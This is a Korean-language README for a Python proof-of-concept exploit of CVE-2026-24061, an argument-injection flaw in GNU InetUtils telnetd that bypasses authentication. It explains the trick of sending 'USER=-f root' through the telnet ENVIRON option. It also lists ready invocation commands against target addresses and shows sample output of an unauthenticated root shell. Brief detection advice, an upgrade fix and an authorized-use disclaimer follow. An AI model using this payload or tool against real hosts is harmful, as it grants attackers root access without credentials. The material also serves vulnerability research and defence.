
CVE-2026-24061에 대한 PoC 익스플로잇 - GNU InetUtils telnetd 인자 주입 인증 우회
GNU InetUtils 1.9.3부터 2.7까지의 버전은 telnetd 서버에서 원격 인증 우회 취약점에 영향을 받습니다. telnetd 데몬은 USER 환경 변수를 login(1) 프로그램에 명령줄 인자로 전달하기 전에 제대로 검증하지 못합니다. 텔넷 클라이언트가 -f root와 같은 명령줄 플래그를 포함한 USER 환경 변수를 보내면, telnetd는 이 검증되지 않은 값을 login 프로그램에 직접 전달합니다. login 유틸리티는 -f 플래그를 인증 우회 지시로 해석하여, 공격자가 자격 증명 없이 권한 없는 root 액세스를 얻을 수 있게 합니다.
전체 텔넷 프로토콜 구현
DO, DONT, WILL, WONT 협상 처리.자동 페이로드 주입
USER=-f root 주입이 포함된 제작된 ENVIRON 옵션 페이로드를 구성하고 전송.대화형 셸
연결 관리
상세 디버깅
python3 exploit.py <target> -p <port> [options]
| 인자 | 설명 |
|---|---|
target | 대상 IP 주소 또는 호스트 이름 |
| 옵션 | 설명 |
|---|---|
-p, --port | 대상 포트 (기본값: 23) |
-v, --verbose | 상세 디버그 출력 활성화 |
-t, --timeout | 연결 타임아웃 (초 단위, 기본값: 5) |
-k, --keepalive | Keepalive 간격 (초 단위, 기본값: 30) |
-h, --help | 도움말 메시지 표시 |
python3 exploit.py 192.168.1.100
python3 exploit.py 192.168.1.100 -p 2323 -v
python3 exploit.py 10.0.0.5 -p 2323 -k 60 -t 10
연결 설정
프로토콜 협상
SGA, ECHO, ENVIRON).페이로드 전달
WILL ENVIRON 다음에 제작된 하위 협상 페이로드를 전송.인증 우회
-f root 인자가 login(1)에 주입되어 자격 증명 검사를 우회.대화형 세션
이 익스플로잇은 ENVIRON 텔넷 옵션(RFC 1572)을 활용하여 USER 환경 변수에 명령줄 인자를 주입합니다.
telnetd가 이 검증되지 않은 값을 login -f root에 전달하면, login 프로그램은 -f를 인증 우회를 강제하는 플래그로 해석하여 비밀번호 검증 없이 root 액세스를 부여합니다.
익스플로잇 스크립트는 다음을 구현합니다:
WILL, WONT, DO, DONT)NOP 명령$ python3 exploit.py 127.0.0.1 -p 2323
[!] Coded By: K3ysTr0K3R
[*] Telnet Authentication Bypass
[*] Connecting to 127.0.0.1:2323
[+] Connection established
[+] Exploit payload sent (19 bytes)
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
시스템 관리자는 다음을 모니터링하여 공격 시도를 탐지할 수 있습니다:
ENVIRON 옵션 협상을 수행하는 텔넷 연결.-f 또는 기타 명령줄 플래그를 포함하는 USER 환경 변수.GNU InetUtils 버전 2.8로 업그레이드하거나 login(1)에 전달하기 전에 환경 변수를 검증하는 공식 보안 패치를 적용하십시오.
이 개념 증명은 보안 연구, 취약점 검증, 그리고 승인된 테스트 환경에서만 사용하도록 제작되었습니다. 보안 평가를 수행할 수 있는 명시적 권한이 있는 시스템에만 사용하십시오.